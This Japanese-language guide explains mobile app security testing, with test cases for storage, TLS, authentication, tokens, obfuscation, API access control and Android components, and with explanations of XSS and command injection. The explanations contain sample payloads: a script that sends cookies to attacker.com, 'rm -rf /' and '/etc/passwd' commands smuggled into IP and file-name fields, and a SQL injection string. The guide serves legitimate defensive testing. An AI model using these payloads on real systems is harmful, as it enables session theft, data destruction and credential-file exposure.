セキュリティテストのコア領域#
データセキュリティテスト#
-
ストレージセキュリティ
- テストポイント:ローカルデータベース、SharedPreferences/NSUserDefaults、キャッシュファイル、ログファイル。
- 方法:ツール(例:ADB、SQLite ブラウザ)を使用して、ローカルストレージに保存されている敏感データ(例:パスワード、トークン)が平文で保存されているかを確認します。
- ツール:MobSF(静的分析)、DB Browser for SQLite。
-
転送セキュリティ
- テストポイント:HTTPS 通信、証明書検証、弱暗号アルゴリズム(例:SSLv3、SHA1)。
- 方法:パケットキャプチャツールでリクエストを傍受し、TLS 1.2 + の強制使用を確認し、証明書が有効かどうかを確認します(例:中間者攻撃を防ぐ)。
- ツール:Burp Suite、Wireshark、Charles Proxy。
-
プライバシーコンプライアンス
- テストポイント:ユーザーデータの収集が GDPR、CCPA などの規制に準拠しているか、プライバシーポリシーが明確であるか。
- 方法:アプリの権限が最小限に抑えられているかを確認します(例:カメラが不要なのに権限を要求する)。
認証と承認#
- 認証メカニズム
- テストポイント:弱いパスワードポリシー、多要素認証、生体認証のセキュリティ。
- 方法:ブルートフォース攻撃をシミュレートする(例:ツール Hydra を使用)、生体認証を回避する(例:偽の指紋)。
- セッション管理
- テストポイント:トークンの有効期限、ログアウト後のトークンの無効化、セッションハイジャック。
- 方法:トークンを改ざんしてリプレイリクエストを行う(Burp Repeater モジュールを使用してテスト)。
コードと逆向きセキュリティ#
- コード混乱
- テストポイント:逆コンパイル後のコードの可読性(例:ProGuard/R8 を使用しているか)。
- 方法:Jadx/Ghidra を使用して APK/IPA を逆コンパイルし、重要なロジックが露出していないかを確認します。
- 逆デバッグメカニズム
- テストポイント:デバッガの検出、動的注入の防止(例:Frida)。
- 方法:Frida を使用して重要な関数をフックし、アプリがクラッシュするか、保護がトリガーされるかをテストします。
サーバーと API セキュリティ#
- インターフェースセキュリティ
- テストポイント:権限を超えたアクセス(水平 / 垂直権限)、パラメータの改ざん(例:ユーザー ID の変更)。
- 方法:Postman を使用してリクエストを構築し、非承認ユーザーが他のデータにアクセスできるかをテストします。
- インジェクション攻撃
- テストポイント:SQL インジェクション、XSS、コマンドインジェクション。
- 方法:特殊文字(例:
' OR 1=1--
)を入力してインターフェースの応答をテストします。
コンポーネントセキュリティ(Android 特有)#
- 4 つのコンポーネントの露出
- テストポイント:Activity、Service、Broadcast Receiver、Content Provider のエクスポートリスク。
- 方法:Drozer を使用してコンポーネントをスキャンし、未承認のアクセスを試みる(例:
adb shell am start -n com.example/.DebugActivity
)。
- Intent ハイジャック
- テストポイント:悪意のあるアプリが Intent を通じて敏感データを取得する。
- 方法:悪意のある Intent を構築してデータを送信し、アプリが入力をフィルタリングしているかを確認します。
実行時セキュリティ#
- ログ漏洩
- テストポイント:デバッグログに敏感情報が含まれているか。
- 方法:アプリを実行し、Logcat を通じてログ出力を確認します。
- メモリセキュリティ
- テストポイント:メモリ内の敏感情報の残留(例:パスワードの平文)。
- ツール:Fridump または Memory Profiler を使用してメモリスナップショットを確認します。
サードパーティ依存セキュリティ#
- ライブラリの脆弱性
- テストポイント:サードパーティ SDK / ライブラリのバージョンに既知の脆弱性が存在するか(例:Apache Commons の旧バージョン)。
- ツール:OWASP Dependency-Check、Snyk。
- 広告 SDK リスク
- テストポイント:悪意のある広告 SDK がユーザーデータを収集する。
- 方法:SDK の権限およびネットワークリクエストの動作を確認します。
テスト方法とツール#
静的分析#
- 目的:コードを実行せずに潜在的な脆弱性を分析する。
- ツール:
- MobSF:APK/IPA を自動スキャンし、安全でない設定やハードコーディングされたキーを検出します。
- SonarQube:コード内のセキュリティ脆弱性(例:SQL インジェクションの断片)をチェックします。
動的分析#
- 目的:実行中に脆弱性を検出する(例:データ漏洩、API 欠陥)。
- ツール:
- Burp Suite:リクエストを傍受して変更し、権限の超過やインジェクションをテストします。
- Drozer(Android):コンポーネントセキュリティの動的テスト。
ペネトレーションテスト#
- 攻撃シナリオのシミュレーション:
- 中間者攻撃(Burp を通じて自己署名証明書をインストール)。
- 逆コンパイル(Frida を使用して認証ロジックを回避)。
自動スキャン#
- ツール:
- OWASP ZAP:自動脆弱性スキャン(例:XSS、CSRF)。
- Nessus:ネットワーク層の脆弱性スキャン(例:サーバーの設定ミス)。
一般的なシナリオと詳細なテストケース#
データセキュリティテスト - ストレージセキュリティ#
シナリオ
ユーザーがログイン後、アプリがパスワードを平文でローカルデータベースのusers
テーブルに保存します。
テストケース
-
タイトル:ユーザーパスワードが暗号化されて保存されているかを検証
-
ステップ:
- アプリをインストールし、ユーザー登録 / ログインプロセスを完了します。
adb shell
を使用してデバイスに入り、アプリデータディレクトリを見つけます:adb shell "run-as com.example.app ls /data/data/com.example.app/databases"
- データベースファイルをローカルにエクスポートします:
adb pull /data/data/com.example.app/databases/user.db
- DB Browser for SQLiteを使用して
user.db
を開き、users
テーブルのパスワードフィールドが平文でないかを確認します。
-
期待される結果:パスワードフィールドはハッシュ値(例:SHA-256)または暗号化された密文であるべきです。
-
ツール:ADB、DB Browser for SQLite
-
リスクレベル:高リスク(平文保存は悪意のあるアプリによって直接盗まれる可能性があります)
データセキュリティテスト - 転送セキュリティ#
シナリオ
アプリがログイン時に HTTP プロトコルを使用してユーザーの資格情報を転送し、HTTPS が有効になっていません。
テストケース
- タイトル:ログインリクエストが HTTPS を強制しているかを検証
- ステップ:
- Burp Suiteプロキシを設定し、携帯電話のネットワークプロキシを Burp に指向させます。
- アプリ内でログイン操作を実行し、Burp がリクエストを傍受します。
- リクエスト URL が
https://
であるかを確認し、http://
の場合はリクエスト内容(例:パスワードフィールド)を変更して再送信します。 - サーバーが暗号化されていないリクエストを受け入れるかを観察します。
- 期待される結果:ログインリクエストは HTTPS のみを許可し、変更された HTTP リクエストは拒否されるべきです(4xx/5xx エラーを返す)。
- ツール:Burp Suite
- リスクレベル:高リスク(中間者がユーザーの資格情報を盗む可能性があります)
認証 - 弱いパスワードポリシー#
シナリオ
アプリがユーザーに「123456」などの弱いパスワードを設定させます。
テストケース
- タイトル:パスワードの複雑さポリシーが有効であるかを検証
- ステップ:
- 登録 / パスワード変更ページで、以下のパスワードを入力してみます:
123456
(数字のみ)password
(一般的な弱いパスワード)abc
(長さ不足)
- アプリが「パスワードは大文字、小文字、数字を含み、長さは≥8 文字である必要があります」と表示するかを確認します。
- 弱いパスワードの設定が許可される場合は、脆弱性を記録します。
- 登録 / パスワード変更ページで、以下のパスワードを入力してみます:
- 期待される結果:アプリは弱いパスワードを拒否し、複雑さの要件を提示するべきです。
- リスクレベル:中リスク(ブルートフォース攻撃により容易に破られる可能性があります)
セッション管理 - トークンの無効化テスト#
シナリオ
ユーザーがログアウト後、アプリがトークンを無効にせず、セッションハイジャックが発生します。
テストケース
- タイトル:ログアウト後にトークンが即座に無効になるかを検証
- ステップ:
- ユーザー A がアプリにログインし、Burp でその ID トークン(例:
Authorization: Bearer xxxx
)を傍受します。 - ユーザー A がログアウト操作を実行します。
- Burp Repeaterモジュールを使用して、ユーザー A のトークンを持って承認が必要な API(例:
GET /api/user/profile
)にアクセスします。 - サーバーが
401 Unauthorized
を返すかを確認します。
- ユーザー A がアプリにログインし、Burp でその ID トークン(例:
- 期待される結果:ログアウト後、トークンは即座に無効になり、敏感なインターフェースにアクセスできなくなるべきです。
- ツール:Burp Suite
- リスクレベル:中リスク(ユーザーアカウントがハイジャックされる可能性があります)
コード混乱 - 逆コンパイルによるロジックの露出#
シナリオ
アプリがコード混乱を有効にしておらず、重要なアルゴリズム(例:暗号化ロジック)が逆コンパイル後に露出しています。
テストケース
- タイトル:APK/IPA がコード混乱されているかを検証
- ステップ:
apktool
を使用して APK ファイルを解凍します:apktool d app-release.apk -o output_dir
- Jadxを使用して APK を開き、
com.example.app.util.CryptoUtils
クラスを確認します。 - 暗号化関数(例:
encryptPassword()
)が平文ロジックで表示されているか(例:AES キーを直接呼び出しているか)を確認します。
- 期待される結果:重要なコードは混乱されているべきです(例:クラス名、メソッド名がランダム化され、ロジックが読みづらい)。
- ツール:Jadx、apktool
- リスクレベル:中リスク(攻撃者が暗号化ロジックを逆コンパイルできる可能性があります)
サーバー API - 水平権限の超過#
シナリオ
ユーザー ID パラメータを変更することで、一般ユーザーが他のユーザーのデータにアクセスできます。
テストケース
- タイトル:ユーザーが他のデータに権限を超えてアクセスできるかを検証
- ステップ:
- ユーザー A(一般ユーザー)がログインし、
GET /api/users/123/profile
にアクセスして自分のデータを取得します。 - Burp でリクエストを傍受し、URL のユーザー ID を
456
(他のユーザー)に変更します。 - リクエストを再送信し、ユーザー ID=456 のデータが返されるかを確認します。
- ユーザー A(一般ユーザー)がログインし、
- 期待される結果:サーバーは
403 Forbidden
を返し、非承認のアクセスを禁止するべきです。 - ツール:Burp Suite
- リスクレベル:高リスク(データ漏洩の可能性があります)
Android コンポーネントセキュリティ - 露出した Activity#
シナリオ
アプリのデバッグ Activity(例:DebugActivity
)がエクスポートされ、権限なしで起動できます。
テストケース
- タイトル:非エクスポート Activity が保護されているかを検証
- ステップ:
- Drozerを使用してアプリのコンポーネントをスキャンします:
dz> run app.package.attacksurface com.example.app
- エクスポートされた Activity を見つけ、ADB を通じて起動を試みます:
adb shell am start -n com.example.app/.DebugActivity
- デバッグ画面(例:ログ出力、敏感機能)に成功裏に入れるかを観察します。
- Drozerを使用してアプリのコンポーネントをスキャンします:
- 期待される結果:不要な Activity は
android:exported="false"
に設定されるべきです。 - ツール:Drozer、ADB
- リスクレベル:高リスク(攻撃者がデバッグ機能を利用できる可能性があります)
実行時セキュリティ - ログに敏感情報が漏洩#
シナリオ
アプリがデバッグログにユーザーの電話番号やトークンを出力します。
テストケース
- タイトル:ログに敏感データが漏洩しているかを検証
- ステップ:
- Android Studio のLogcatを使用してアプリのログを監視します。
- 敏感な操作(例:ログイン、プロフィールの表示)を実行します。
- キーワードを検索します:
token
、phone
、password
。 - ログに敏感情報が平文で表示されているかを確認します。
- 期待される結果:ログには脱敏情報のみが含まれるべきです(例:
token=***
)。 - ツール:Android Studio Logcat
- リスクレベル:中リスク(悪意のあるアプリがログを読み取る可能性があります)
サードパーティ依存 - 既知のライブラリの脆弱性#
シナリオ
アプリが CVE 脆弱性を含む旧バージョンの OkHttp(例:CVE-2023-3635)を使用しています。
CVE(Common Vulnerabilities and Exposures)一般的な脆弱性と露出
テストケース
- タイトル:サードパーティライブラリに既知の脆弱性が存在するかを検証
- ステップ:
- OWASP Dependency-Checkを使用してアプリの依存関係をスキャンします:
dependency-check --project MyApp --scan ./app/libs
- レポート内の脆弱性リストを確認し、高リスクの CVE が含まれているかを確認します。
- 現在のバージョンと公式の修正バージョン(例:OkHttp 4.10.0→4.12.0)を比較します。
- OWASP Dependency-Checkを使用してアプリの依存関係をスキャンします:
- 期待される結果:すべてのサードパーティライブラリは最新の無脆弱性バージョンであるべきです。
- ツール:OWASP Dependency-Check
- リスクレベル:高リスク(リモートコード実行を引き起こす可能性があります)
参考資料と概念の説明#
OWASP(Open Worldwide Application Security Project、オープングローバルアプリケーションセキュリティプロジェクト)は、非営利の国際組織であり、アプリケーションソフトウェアのセキュリティの研究と改善に焦点を当てています。その核心的な目標は、開発者、テスト担当者、企業が安全なアプリケーションを構築および維持するのを支援することであり、知識、ツール、ベストプラクティスを公開してセキュリティリスクを低減することです。
1.OWASP MASTG(モバイルアプリケーションセキュリティテストガイド)
2.OWASP MASVS(モバイルアプリケーションセキュリティ検証基準)
SharedPreferences/NSUserDefaults#
**SharedPreferences(Android)とNSUserDefaults(iOS)** は、モバイルアプリ開発において軽量なキー・バリュー型データを保存するためのローカルストレージメカニズムです。主にアプリの簡単な設定、ユーザーの好み、または一時的な状態データを保存するために使用されますが、そのセキュリティ問題には注意が必要です。
テストシナリオ
- 平文保存の確認
- Android:
adb
を使用して/data/data/<パッケージ名>/shared_prefs/
下の XML ファイルをエクスポートし、敏感なフィールドを検索します。 - iOS:脱獄したデバイスで直接
.plist
ファイルを確認するか、NSUserDefaults
リーダーツール(例:iExplorer
)を使用します。
- Android:
- 暗号化の検証
- 暗号化ライブラリ(例:Android の
Jetpack Security
)を使用している場合、キー管理が安全であるか(例:ハードコーディングされたキーがないか)を確認します。
典型的な脆弱性のケース
- 暗号化ライブラリ(例:Android の
- ケース 1:あるソーシャルアプリがユーザーの ID トークンを平文で
SharedPreferences
に保存し、ルートデバイス後にトークンを直接盗まれてアカウントがハイジャックされる。 - ケース 2:ある金融アプリが
NSUserDefaults
を通じて一時的なパスワードを保存し、脱獄デバイスで.plist
ファイルを読み取ることで認証を回避する。
XSS / コマンドインジェクション#
XSS#
クロスサイトスクリプティング攻撃、Cross-Site Scripting
定義
攻撃者がウェブページに悪意のあるスクリプト(例:JavaScript)を注入し、他のユーザーがそのページにアクセスすると、スクリプトがそのブラウザで実行され、データを盗んだりセッションをハイジャックしたりします。
原理
- 脆弱性の根源:アプリケーションがユーザー入力の内容をエスケープせず、HTML に直接出力すること。
- 攻撃方法:入力可能な領域(コメント、プロフィール)に
<script>
タグやイベント属性(例:onerror
)を挿入します。
分類
- ストレージ型 XSS
- シナリオ:悪意のあるスクリプトがサーバーに保存され(例:フォーラムのコメント)、すべての訪問者がトリガーします。
- 例:
ユーザーの Cookie を盗む。
<script>fetch('https://attacker.com?cookie='+document.cookie)</script>
- 反射型 XSS
- シナリオ:悪意のあるスクリプトが URL パラメータを通じて渡され、現在のユーザーのみがトリガーします。
- 例:
ページが
https://example.com/search?q=<script>alert(1)</script>
q
パラメータの内容を直接表示し、ポップアップをトリガーします。
- DOM 型 XSS
- シナリオ:フロントエンドの JavaScript が DOM を操作する際にデータがエスケープされていない。
- 例:
document.getElementById("output").innerHTML = location.hash.slice(1);
https://example.com#<img src=x onerror=alert(1)>
にアクセスして攻撃をトリガーします。
コマンドインジェクション#
定義
攻撃者がアプリケーションがシステムコマンドを呼び出す際に悪意のあるパラメータを注入し、予期しない操作システムコマンド(例:ファイルの削除、サービスの起動)を実行させること。
原理
- 脆弱性の根源:アプリケーションがユーザー入力をシステムコマンドに直接結合すること。
- 攻撃方法:入力にコマンド区切り文字(例:
;
、&&
、|
)を挿入します。
一般的なシナリオ
- Web アプリがシステムコマンドを呼び出す
- 入力 IP アドレス:
8.8.8.8; rm -rf /
、トリガーされるコマンド:ping 8.8.8.8; rm -rf / # pingを実行した後、サーバーファイルを削除
- 入力 IP アドレス:
- ファイルアップロード機能
- アップロードファイル名:
file.jpg; cat /etc/passwd > output.txt
、システムのパスワードファイルを読み取る。
- アップロードファイル名: